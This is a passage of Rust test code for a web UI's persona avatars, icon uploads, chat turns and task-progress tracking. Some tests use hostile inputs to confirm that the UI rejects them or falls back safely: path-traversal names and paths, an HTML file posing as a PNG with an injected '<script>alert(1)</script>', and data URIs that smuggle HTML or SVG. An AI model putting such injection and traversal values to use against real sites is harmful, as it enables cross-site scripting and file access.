13059 orphan.persona = "../custom/日本語".into();
13060 let view = TalkView::with_config(
13061 orphan,
13062 false,
13063 Some(&cfg),
13064 home.path(),
13065 &id_links::IndexCache::default(),
13066 );
13067 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13068 }
13069
13070 #[tokio::test]
13071 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13072 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13073 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13074 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13075 let _ = magi_icon_put(
13076 State(ui.clone()),
13077 Json(MagiIconUpload { icon: icon.into() }),
13078 )
13079 .await
13080 .unwrap();
13081 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13082 assert_ne!(original, changed);
13083 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13084 let response = magi_avatar(
13085 State(ui.clone()),
13086 Query(AvatarQuery {
13087 persona: None,
13088 builtin: None,
13089 }),
13090 )
13091 .await;
13092 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13093 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13094 assert_eq!(
13095 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13096 "nosniff"
13097 );
13098 for bad in [
13099 "data:image/png;base64,PGh0bWw+".to_owned(),
13100 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13101 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13102 ] {
13103 assert!(save_magi_icon(home.path(), &bad).is_err());
13104 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13105 }
13106 let restarted = Arc::new(Ui::new(
13108 Queue::at(home.path().join("queue")),
13109 Questions::at(home.path().join("questions")),
13110 Talks::at(home.path().join("talks")),
13111 home.path().join("runs"),
13112 home.path().to_path_buf(),
13113 repo,
13114 ));
13115 assert_eq!(
13116 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13117 changed
13118 );
13119 let view = TalkView::with_config(
13120 restarted.talks.get(&id).unwrap(),
13121 false,
13122 None,
13123 &restarted.home,
13124 &restarted.references,
13125 );
13126 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13127 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13128 let response = magi_avatar(
13129 State(ui.clone()),
13130 Query(AvatarQuery {
13131 persona: None,
13132 builtin: None,
13133 }),
13134 )
13135 .await;
13136 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13137 .await
13138 .unwrap();
13139 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13140 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13141 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13142 let _ = magi_icon_delete(State(ui)).await.unwrap();
13143 }
13144
13145 async fn avatar(
13147 ui: &Arc<Ui>,
13148 id: &str,
13149 persona: Option<&str>,
13150 builtin: bool,
13151 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13152 let res = talk_avatar(
13153 State(Arc::clone(ui)),
13154 Path(id.to_owned()),
13155 Query(AvatarQuery {
13156 persona: persona.map(str::to_owned),
13157 builtin: builtin.then(|| "1".to_owned()),
13158 }),
13159 )
13160 .await
13161 .expect("an avatar is never an error response");
13162 let h = res.headers();
13163 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13164 let nosniff = h
13165 .get(header::X_CONTENT_TYPE_OPTIONS)
13166 .is_some_and(|v| v == "nosniff");
13167 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13168 let status = res.status();
13169 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13170 .await
13171 .expect("body")
13172 .to_vec();
13173 (status, ct, nosniff, csp, body)
13174 }
13175
13176 fn tiny_png() -> Vec<u8> {
13177 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13178 b.extend_from_slice(&[0u8; 32]);
13179 b
13180 }
13181
13182 #[tokio::test]
13183 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13184 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13185 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13186 assert_eq!(res.status(), StatusCode::OK);
13187 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13188 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13189 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13190 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13191 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13192 .await
13193 .unwrap();
13194 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13195 assert_ne!(
13196 persona_icon::operator_svg(),
13197 persona_icon::builtin_svg("default")
13198 );
13199 }
13200
13201 #[tokio::test]
13202 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
13203 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
13204 for p in [
13205 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
13206 ] {
13207 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
13208 assert_eq!(status, StatusCode::OK, "{p}");
13209 assert_eq!(ct, "image/svg+xml", "{p}");
13210 assert!(nosniff && csp, "{p}");
13211 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
13212 }
13213 let own = avatar(&ui, &id, None, false).await;
13215 let default = avatar(&ui, &id, Some("default"), false).await;
13216 assert_eq!(own.4, default.4);
13217 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
13218 assert_eq!(unknown.1, "image/svg+xml");
13219 }
13220
13221 #[tokio::test]
13222 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
13223 let dir = TempDir::new().expect("icons");
13224 let good = dir.path().join("good.png");
13225 std::fs::write(&good, tiny_png()).unwrap();
13226 let spoof = dir.path().join("spoof.png");
13227 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
13228 let big = dir.path().join("big.png");
13229 let mut bytes = tiny_png();
13230 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
13231 std::fs::write(&big, bytes).unwrap();
13232 let missing = dir.path().join("missing.png");
13233 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
13234 let extra = format!(
13235 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
13236 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
13237 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
13238 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
13239 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
13240 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
13241 uri(&good),
13242 uri(&spoof),
13243 uri(&big),
13244 uri(&missing),
13245 );
13246 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13247
13248 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
13249 assert_eq!(
13250 (status, ct.as_str(), nosniff),
13251 (StatusCode::OK, "image/png", true)
13252 );
13253 assert_eq!(body, tiny_png());
13254 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
13255 assert_eq!(ct, "image/png", "data URI");
13256
13257 for p in ["misato", "asuka", "shinji", "magi"] {
13258 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
13259 assert_eq!(
13260 (status, ct.as_str(), csp),
13261 (StatusCode::OK, "image/svg+xml", true),
13262 "{p}"
13263 );
13264 assert!(body.starts_with(b"<svg"), "{p}");
13265 }
13266 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
13268 assert_eq!(ct, "image/svg+xml");
13269 }
13270
13271 #[tokio::test]
13272 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
13273 let oversized = format!(
13274 "data:image/png;base64,{}",
13275 "A".repeat(persona_icon::ICON_MAX_BYTES)
13276 );
13277 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
13278 let extra = format!(
13279 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
13280 );
13281 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13282 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13283 .await
13284 .expect("detail with invalid icon");
13285 assert!(detail.personas.iter().any(|p| p.id == "custom"));
13286 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
13287 assert_eq!(status, StatusCode::OK);
13288 assert_eq!(ct, "image/svg+xml");
13289 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
13290 let Json(view) = talk_persona(
13291 State(Arc::clone(&ui)),
13292 Path(id.clone()),
13293 Json(TalkPersona {
13294 persona: "custom".into(),
13295 }),
13296 )
13297 .await
13298 .expect("persona switch with invalid icon");
13299 assert_eq!(view.talk.persona, "custom");
13300 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
13301 }
13302 }
13303
13304 #[tokio::test]
13305 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
13306 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13307 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
13308 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
13309 assert_eq!(
13310 (status, ct.as_str(), nosniff, csp),
13311 (StatusCode::OK, "image/svg+xml", true, true)
13312 );
13313 }
13314
13315 #[tokio::test]
13316 async fn the_talk_view_carries_server_built_avatar_urls_only() {
13317 let (_t, _h, ui, id, _repo) =
13318 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
13319 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13320 .await
13321 .expect("detail");
13322 let json = serde_json::to_string(&detail).unwrap();
13323 assert!(
13324 !json.contains("secret"),
13325 "the icon setting must not leak: {json}"
13326 );
13327 assert!(
13328 detail
13329 .view
13330 .persona_avatar
13331 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
13332 );
13333 assert_eq!(
13334 detail.view.operator_avatar,
13335 format!(
13336 "/avatars/operator.svg?v={}",
13337 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
13338 )
13339 );
13340 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
13341 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
13342 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
13343 assert!(rei.avatar.contains("persona=rei&v="));
13344 assert_ne!(
13345 rei.avatar.split("&v=").nth(1),
13346 plain.avatar.split("&v=").nth(1)
13347 );
13348 }
13349
13350 #[tokio::test]
13351 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
13352 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13353 let cfg = config_for(&repo).await.unwrap();
13354 for arrived in [false, true] {
13355 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
13356 let observed = ui.queued_generation(&id);
13357 let talk = ui.talks.get(&id).unwrap();
13358 if arrived {
13359 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
13360 }
13361 let mut settling = std::pin::pin!(settle_settings_turn(
13362 talk,
13363 ui.talks.clone(),
13364 cfg.clone(),
13365 id.clone(),
13366 turn,
13367 observed
13368 ));
13369 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
13370 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
13371 assert_eq!(first.is_pending(), arrived);
13372 if arrived {
13373 assert!(!settling.await);
13374 }
13375 assert!(!ui.is_thinking(&id));
13376 }
13377 }
13378
13379 #[tokio::test]
13380 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
13381 let tmp = TempDir::new().expect("tempdir");
13382 let repo = tmp.path().join("repo");
13383 std::fs::create_dir_all(&repo).expect("repo dir");
13384 std::fs::write(
13385 repo.join("magi.toml"),
13386 format!(
13387 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
13388 ),
13389 )
13390 .expect("write magi.toml");
13391 let home = TempDir::new().expect("temp home");
13392 let talks = Talks::at(home.path().join("talks"));
13393 let ui = Arc::new(
13394 Ui::new(
13395 Queue::at(home.path().join("queue")),
13396 Questions::at(home.path().join("questions")),
13397 talks.clone(),
13398 home.path().join("runs"),
13399 home.path().to_path_buf(),
13400 repo.clone(),
13401 )
13402 .with_worktrees_root(home.path().join("wt")),
13403 );
13404 let cfg = config_for(&repo).await.expect("discover config");
13405 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13406 let id = talk.id.clone();
13407 let call = |persona: &str| {
13408 talk_persona(
13409 State(Arc::clone(&ui)),
13410 Path(id.clone()),
13411 Json(TalkPersona {
13412 persona: persona.to_owned(),
13413 }),
13414 )
13415 };
13416
13417 let unknown = call("nobody").await.expect_err("unknown persona");
13418 assert_eq!(
13419 unknown.status,
13420 StatusCode::BAD_REQUEST,
13421 "{}",
13422 unknown.message
13423 );
13424
13425 {
13426 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13429 let busy = call("rei").await.expect_err("busy talk");
13430 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13431 assert!(
13432 busy.message.contains("a talk turn is running"),
13433 "{}",
13434 busy.message
13435 );
13436 drop(guard);
13437 }
13438 assert_eq!(talks.get(&id).expect("reload").persona, "");
13439
13440 let Json(view) = call("gendo").await.expect("switch to a configured persona");
13441 assert_eq!(view.talk.persona, "gendo");
13442 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
13443 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13444 for chosen in ["default", "gendo", "rei", "gendo"] {
13446 let Json(view) = call(chosen).await.expect("immediate consecutive change");
13447 assert!(!view.thinking);
13448 assert!(!ui.is_thinking(&id));
13449 }
13450
13451 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13452 .await
13453 .expect("detail");
13454 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
13455 assert_eq!(ids.first(), Some(&"default"));
13456 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
13457
13458 let Json(view) = call("default").await.expect("back to default");
13459 assert_eq!(view.talk.persona, "");
13460
13461 let mut closed = talks.get(&id).expect("reload");
13462 talk::close(&mut closed, &talks).expect("close");
13463 let refused = call("rei").await.expect_err("closed talk");
13464 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13465 assert!(
13466 refused.message.contains("takes no more turns"),
13467 "{}",
13468 refused.message
13469 );
13470 }
13471
13472 #[tokio::test]
13473 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
13474 let f = Fixture::start().await;
13475 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
13476 let queue = f.queue();
13477 let mut mine = Task::new(
13478 "rename the loader".to_owned(),
13479 "rename the loader".to_owned(),
13480 PathBuf::from("/repo/magi"),
13481 Source::Agent {
13482 run: talk_id.clone(),
13483 node: "chat".to_owned(),
13484 },
13485 );
13486 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
13487 assert_eq!(empty["task_progress"]["state"], "none");
13488 assert_eq!(empty["task_progress"]["total"], 0);
13489 queue.put(&mut mine).expect("file the task");
13490 let mut theirs = Task::new(
13491 "unrelated".to_owned(),
13492 "unrelated".to_owned(),
13493 PathBuf::from("/repo/magi"),
13494 Source::Human,
13495 );
13496 theirs.origin_chat = Some(talk_id.clone());
13498 queue.put(&mut theirs).expect("file the task");
13499
13500 let res = f.get(&format!("/api/talks/{talk_id}")).await;
13501 assert_eq!(res.status, 200, "{}", res.body);
13502 let body = res.json();
13503 assert_eq!(
13504 body["status"], "open",
13505 "filing a task does not close a talk"
13506 );
13507 let tasks = body["tasks"].as_array().expect("tasks array");
13508 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
13509 assert_eq!(tasks[0]["id"], mine.id);
13510 for status in [
13511 TaskStatus::Queued,
13512 TaskStatus::Running,
13513 TaskStatus::Held,
13514 TaskStatus::Failed,
13515 TaskStatus::Blocked,
13516 TaskStatus::Parked,
13517 TaskStatus::Done,
13518 TaskStatus::Queued,
13519 ] {
13520 mine.status = status;
13521 queue.put(&mut mine).expect("update status");
13522 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
13523 let progress = &detail["task_progress"];
13524 assert_eq!(progress["total"], 1);
13525 assert_eq!(progress["counts"][status.as_str()], 1);
13526 assert_eq!(detail["tasks"][0]["status"], status.as_str());
13527 assert_eq!(detail["status"], "open", "completion never closes the chat");
13528 if status == TaskStatus::Done {
13529 assert_eq!(progress["state"], "complete");
13530 assert_eq!(progress["done"], 1);
13531 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
13532 } else {
13533 assert_eq!(progress["state"], "incomplete");
13534 assert_eq!(progress["done"], 0);
13535 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
13536 }
13537 }
13538 }
13539
13540 #[test]
13541 fn talk_task_progress_counts_mixed_statuses() {
13542 let mut tasks: Vec<_> = [
13543 TaskStatus::Queued,
13544 TaskStatus::Running,
13545 TaskStatus::Held,
13546 TaskStatus::Failed,
13547 TaskStatus::Blocked,
13548 TaskStatus::Parked,
13549 TaskStatus::Done,
13550 ]
13551 .into_iter()
13552 .map(|status| {
13553 let mut task = Task::new(
13554 "task".into(),
13555 "task".into(),
13556 PathBuf::from("/repo"),
13557 Source::Human,
13558 );
13559 task.status = status;
13560 task
13561 })
13562 .collect();
13563 let progress = talk_task_progress(&tasks);
13564 assert_eq!(progress.state, "incomplete");
13565 assert_eq!(progress.total, 7);
13566 assert_eq!(progress.done, 1);
13567 assert_eq!(progress.unfinished_ids.len(), 6);
13568 assert!(progress.counts.values().all(|count| *count == 1));
13569 assert_eq!(
13570 progress.unfinished_ids,
13571 tasks[..6]
13572 .iter()
13573 .map(|task| task.id.clone())
13574 .collect::<Vec<_>>()
13575 );
13576
13577 for task in &mut tasks {
13578 task.status = TaskStatus::Done;
13579 }
13580 let complete = talk_task_progress(&tasks);
13581 assert_eq!(complete.state, "complete");
13582 assert_eq!(complete.done, 7);
13583 assert!(complete.unfinished_ids.is_empty());
13584 tasks[0].status = TaskStatus::Queued;
13585 let requeued = talk_task_progress(&tasks);
13586 assert_eq!(requeued.state, "incomplete");
13587 assert_eq!(requeued.done, 6);
13588 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13589
13590 let empty = talk_task_progress(&[]);
13591 assert_eq!(empty.state, "none");
13592 assert_eq!(empty.total, 0);
13593 assert_eq!(empty.done, 0);
13594 assert!(empty.unfinished_ids.is_empty());
13595 assert!(empty.counts.values().all(|count| *count == 0));
13596 }
13597
13598 #[tokio::test]
13599 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13600 let (_tmp, _repo, f) = talk_fixture().await;
13601 let id = f.post("/api/talks", None).await.json()["id"]
13602 .as_str()
13603 .expect("id")
13604 .to_owned();
13605
13606 let res = f
13607 .post(
13608 &format!("/api/talks/{id}/say"),
13609 Some(r#"{"text":"what does the queue module do?"}"#),
13610 )
13611 .await;
13612 assert_eq!(res.status, 202, "{}", res.body);
13613 let queued = res.json();
13614 let turns = queued["turns"].as_array().expect("turns array");
13615 assert_eq!(
13616 turns.len(),
13617 1,
13618 "the answer reflects only what is on disk the instant it is sent, \
13619 before the agent's turn - which can run for the whole of \
13620 `[graph] timeout_talk` - has a chance to land: {queued}"
13621 );
13622 assert_eq!(turns[0]["who"], "operator");
13623 assert_eq!(turns[0]["body"], "what does the queue module do?");
13624 assert_eq!(
13625 queued["thinking"], true,
13626 "the accepted response exposes the background turn claim: {queued}"
13627 );
13628
13629 let mut turns_after = 1;
13630 for _ in 0..SETTLE_STEPS {
13631 let detail = f.get(&format!("/api/talks/{id}")).await.json();
13632 turns_after = detail["turns"].as_array().expect("turns array").len();
13633 if turns_after == 2 {
13634 break;
13635 }
13636 tokio::time::sleep(Duration::from_millis(10)).await;
13637 }
13638 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13639 }
13640
13641 #[tokio::test]
13668 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13669 let tmp = TempDir::new().expect("tempdir");
13670 let repo = tmp.path().join("repo");
13671 std::fs::create_dir_all(&repo).expect("repo dir");
13672 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13673 let home = TempDir::new().expect("temp home");
13674 let talks = Talks::at(home.path().join("talks"));
13675 let ui = Arc::new(
13676 Ui::new(
13677 Queue::at(home.path().join("queue")),
13678 Questions::at(home.path().join("questions")),
13679 talks.clone(),
13680 home.path().join("runs"),
13681 home.path().to_path_buf(),
13682 repo.clone(),
13683 )
13684 .with_worktrees_root(home.path().join("wt")),
13685 );
13686 let cfg = config_for(&repo).await.expect("discover config");
13687
13688 for delay in 0..40u32 {
13689 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13690 let id = talk.id.clone();
13691
13692 let handler = tokio::spawn(talk_say(
13693 State(Arc::clone(&ui)),
13694 Path(id.clone()),
13695 Ok(Json(NewTalkTurn {
13696 reply_to: None,
13697 text: "what does the queue module do?".to_owned(),
13698 attachments: Vec::new(),
13699 })),
13700 ));
13701 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13702 handler.abort();
13703 let _ = handler.await;
13706
13707 let mut turns = 0;
13708 for _ in 0..SETTLE_STEPS {
13709 if let Ok(fresh) = talks.get(&id) {
13710 turns = fresh.turns.len();
13711 if turns != 1 {
13712 break;
13713 }
13714 }
13715 tokio::time::sleep(Duration::from_millis(10)).await;
13716 }
13717 assert_ne!(
13718 turns, 1,
13719 "delay {delay}: talk {id} recorded the operator's turn but \
13720 the agent never answered - the reply task was never \
13721 started after the handler future was dropped"
13722 );
13723 }
13724 }
13725
13726 #[tokio::test]
13771 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13772 let tmp = TempDir::new().expect("tempdir");
13773 let repo = tmp.path().join("repo");
13774 std::fs::create_dir_all(&repo).expect("repo dir");
13775 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13776 let home = TempDir::new().expect("temp home");
13777 let talks = Talks::at(home.path().join("talks"));
13778 let ui = Arc::new(
13779 Ui::new(
13780 Queue::at(home.path().join("queue")),
13781 Questions::at(home.path().join("questions")),
13782 talks.clone(),
13783 home.path().join("runs"),
13784 home.path().to_path_buf(),
13785 repo.clone(),
13786 )
13787 .with_worktrees_root(home.path().join("wt")),
13788 );
13789 let cfg = config_for(&repo).await.expect("discover config");
13790
13791 for attempt in 0..3u32 {
13792 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13793 let id = talk.id.clone();
13794 let turn_guard = ui
13797 .begin_talk_turn(&id)
13798 .expect("claim the turn")
13799 .expect("a fresh talk owes nobody a turn");
13800
13801 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13802 let (release_tx, release_rx) = std::sync::mpsc::channel();
13803 ui.set_busy_queue_gate(BusyQueueGate {
13804 reached: reached_tx,
13805 release: release_rx,
13806 });
13807
13808 let handler = tokio::spawn(talk_say(
13809 State(Arc::clone(&ui)),
13810 Path(id.clone()),
13811 Ok(Json(NewTalkTurn {
13812 reply_to: None,
13813 text: "what does the queue module do?".to_owned(),
13814 attachments: Vec::new(),
13815 })),
13816 ));
13817
13818 tokio::time::timeout(Duration::from_secs(5), reached_rx)
13823 .await
13824 .unwrap_or_else(|_| {
13825 panic!(
13826 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13827 )
13828 })
13829 .expect("the busy branch dropped the gate without using it");
13830
13831 let running = talks.get(&id).expect("reload talk");
13838 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13839
13840 handler.abort();
13844 let _ = handler.await;
13845
13846 let _ = release_tx.send(());
13852
13853 let mut fresh = talks.get(&id).expect("reload talk");
13856 for _ in 0..SETTLE_STEPS {
13857 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13858 break;
13859 }
13860 tokio::time::sleep(Duration::from_millis(10)).await;
13861 fresh = talks.get(&id).expect("reload talk");
13862 }
13863 assert!(
13864 fresh.pending.is_empty() && fresh.turns.len() == 2,
13865 "attempt {attempt}: talk {id} left the operator's text queued \
13866 with no drainer - the reclaimed turn was dropped along with \
13867 the handler future (pending {:?}, {} turns)",
13868 fresh.pending,
13869 fresh.turns.len()
13870 );
13871 }
13872 }
13873
13874 #[tokio::test]
13875 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13876 let (_tmp, _repo, f) = talk_fixture().await;
13877 let id = f.post("/api/talks", None).await.json()["id"]
13878 .as_str()
13879 .expect("id")
13880 .to_owned();
13881 let store = f.talks();
13882 let mut recovered = store.get(&id).expect("opened talk");
13883 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13884 .expect("persist pending draft without a live turn");
13885
13886 let edited = f
13887 .post(
13888 &format!("/api/talks/{id}/pending/edit"),
13889 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13890 )
13891 .await;
13892 assert_eq!(edited.status, 200, "{}", edited.body);
13893 assert!(edited.json()["thinking"].as_bool().unwrap());
13894
13895 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13896 for _ in 0..SETTLE_STEPS {
13897 if detail["turns"].as_array().expect("turns").len() == 2 {
13898 break;
13899 }
13900 tokio::time::sleep(Duration::from_millis(10)).await;
13901 detail = f.get(&format!("/api/talks/{id}")).await.json();
13902 }
13903 let turns = detail["turns"].as_array().expect("turns");
13904 assert_eq!(
13905 turns.len(),
13906 2,
13907 "the recovered draft must run once: {detail}"
13908 );
13909 assert_eq!(turns[0]["body"], "corrected");
13910 assert_eq!(detail["pending"], "");
13911 }
13912
13913 #[tokio::test]
13914 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13915 let tmp = TempDir::new().expect("tempdir");
13916 let repo = tmp.path().join("repo");
13917 std::fs::create_dir_all(&repo).expect("repo dir");
13918 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13919 let f = Fixture::with_repo(repo).await;
13920 let id = f.post("/api/talks", None).await.json()["id"]
13921 .as_str()
13922 .expect("id")
13923 .to_owned();
13924 let store = f.talks();
13925 let mut recovered = store.get(&id).expect("opened talk");
13926 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13927 .expect("persist pending draft without a live turn");
13928
13929 let refused = f
13930 .post(
13931 &format!("/api/talks/{id}/say"),
13932 Some(r#"{"text":"new message"}"#),
13933 )
13934 .await;
13935 assert_eq!(refused.status, 409, "{}", refused.body);
13936 assert!(refused.body.contains("resume"), "{}", refused.body);
13937 let saved = store.get(&id).expect("draft remains after refusal");
13938 assert!(saved.turns.is_empty());
13939 assert_eq!(saved.pending, "saved before restart");
13940
13941 let say_path = format!("/api/talks/{id}/say");
13942 let (first, second) = tokio::join!(
13943 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13944 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13945 );
13946 assert_eq!(first.status, 409, "{}", first.body);
13947 assert_eq!(second.status, 409, "{}", second.body);
13948 let saved = store
13949 .get(&id)
13950 .expect("draft remains after concurrent refusals");
13951 assert!(saved.turns.is_empty());
13952 assert_eq!(saved.pending, "saved before restart");
13953
13954 let resumed = f
13955 .post(&format!("/api/talks/{id}/pending/resume"), None)
13956 .await;
13957 assert_eq!(resumed.status, 202, "{}", resumed.body);
13958 let duplicate = f
13959 .post(&format!("/api/talks/{id}/pending/resume"), None)
13960 .await;
13961 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13962
13963 for _ in 0..SETTLE_STEPS {
13964 if store.get(&id).expect("talk").turns.len() == 2 {
13965 break;
13966 }
13967 tokio::time::sleep(Duration::from_millis(10)).await;
13968 }
13969 let finished = store.get(&id).expect("finished talk");
13970 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13971 assert_eq!(finished.turns[0].body, "saved before restart");
13972 assert!(finished.pending.is_empty());
13973 }
13974
13975 #[tokio::test]
13976 async fn an_image_only_recovered_draft_resumes_without_text() {
13977 let (_tmp, _repo, f) = talk_fixture().await;
13978 let id = f.post("/api/talks", None).await.json()["id"]
13979 .as_str()
13980 .expect("id")
13981 .to_owned();
13982 let uploaded = f
13983 .post_bytes(
13984 &format!("/api/talks/{id}/attachments"),
13985 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13986 PNG_BYTES,
13987 )
13988 .await;
13989 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13990 let attachment = f
13991 .talks()
13992 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13993 .expect("attachment metadata")
13994 .expect("stored attachment");
13995 let store = f.talks();
13996 let mut recovered = store.get(&id).expect("opened talk");
13997 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13998
13999 let resumed = f
14000 .post(&format!("/api/talks/{id}/pending/resume"), None)
14001 .await;
14002 assert_eq!(resumed.status, 202, "{}", resumed.body);
14003 for _ in 0..SETTLE_STEPS {
14004 if store.get(&id).expect("talk").turns.len() == 2 {
